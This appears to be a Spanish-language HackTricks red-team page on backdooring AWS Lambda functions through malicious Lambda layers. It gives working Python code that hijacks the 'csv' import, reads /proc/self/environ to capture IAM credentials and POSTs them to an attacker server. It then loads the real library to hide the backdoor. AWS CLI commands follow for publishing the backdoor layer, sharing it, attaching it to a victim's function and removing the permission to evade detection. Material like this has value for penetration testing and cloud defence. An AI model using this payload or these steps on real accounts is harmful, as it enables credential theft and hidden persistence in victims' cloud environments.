AWS - Lambda Layers Persistence

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Capas de Lambda

Una capa de Lambda es un archivo de archivo .zip que puede contener código adicional u otro contenido. Una capa puede contener bibliotecas, un tiempo de ejecución personalizado, datos o archivos de configuración.

Es posible incluir hasta cinco capas por función. Cuando incluyes una capa en una función, los contenidos se extraen al directorio /opt en el entorno de ejecución.

Por defecto, las capas que creas son privadas para tu cuenta de AWS. Puedes optar por compartir una capa con otras cuentas o hacer la capa pública. Si tus funciones consumen una capa que publicó una cuenta diferente, tus funciones pueden seguir utilizando la versión de la capa después de que se haya eliminado, o después de que se haya revocado tu permiso para acceder a la capa. Sin embargo, no puedes crear una nueva función o actualizar funciones utilizando una versión de capa eliminada.

Las funciones implementadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu tiempo de ejecución preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen.

Ruta de carga de Python

La ruta de carga que Python utilizará en lambda es la siguiente:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Verifique cómo los directorios en las posiciones segunda y tercera están ocupados por los directorios donde se descomprimen los archivos de las capas de Lambda: /opt/python/lib/python3.9/site-packages y /opt/python

Si un atacante logra instalar un backdoor en una capa de Lambda utilizada o agregar una que ejecute código arbitrario cuando se cargue una biblioteca común, podrá ejecutar código malicioso en cada invocación de la lambda.

Por lo tanto, los requisitos son:

  • Verificar las bibliotecas que son cargadas por el código de las víctimas

  • Crear una biblioteca proxy con capas de Lambda que ejecutará código personalizado y cargará la biblioteca original.

Bibliotecas precargadas

Al abusar de esta técnica, encontré una dificultad: Algunas bibliotecas ya están cargadas en el tiempo de ejecución de Python cuando se ejecuta su código. Esperaba encontrar cosas como os o sys, pero incluso la biblioteca json estaba cargada. Para abusar de esta técnica de persistencia, el código necesita cargar una nueva biblioteca que no esté cargada cuando se ejecute el código.

Con un código Python como este, es posible obtener la lista de bibliotecas que están precargadas dentro del tiempo de ejecución de Python en Lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Y esta es la lista (verifica que las bibliotecas como os o json ya estén allí)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Y esta es la lista de bibliotecas que lambda incluye instaladas por defecto: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Infiltración en Capas de Lambda

En este ejemplo supongamos que el código objetivo está importando csv. Vamos a estar infiltrando la importación de la biblioteca csv.

Para hacer eso, vamos a crear el directorio csv con el archivo __init__.py en él en una ruta que es cargada por lambda: /opt/python/lib/python3.9/site-packages Entonces, cuando se ejecute la lambda e intente cargar csv, nuestro archivo __init__.py será cargado y ejecutado. Este archivo debe:

  • Ejecutar nuestra carga útil

  • Cargar la biblioteca csv original

Podemos hacer ambas cosas con:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Luego, crea un zip con este código en la ruta python/lib/python3.9/site-packages/__init__.py y agrégalo como una capa lambda.

Puedes encontrar este código en https://github.com/carlospolop/LambdaLayerBackdoor

La carga útil integrada enviará las credenciales IAM a un servidor LA PRIMERA VEZ que se invoque o DESPUÉS de reiniciar el contenedor lambda (cambio de código o lambda fría), pero también se podrían integrar otras técnicas como las siguientes:

Capas Externas

Ten en cuenta que es posible usar capas lambda de cuentas externas. Además, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos. También ten en cuenta que el número máximo de capas que una lambda puede tener es 5.

Por lo tanto, para mejorar la versatilidad de esta técnica un atacante podría:

  • Inyectar un backdoor en una capa existente del usuario (nada es externo)

  • Crear una capa en su cuenta, dar acceso a la cuenta de la víctima para usar la capa, configurar la capa en la Lambda de la víctima y eliminar el permiso.

  • La Lambda seguirá pudiendo usar la capa y la víctima no tendrá una forma sencilla de descargar el código de las capas (aparte de obtener una reverse shell dentro de la lambda)

  • La víctima no verá las capas externas utilizadas con aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización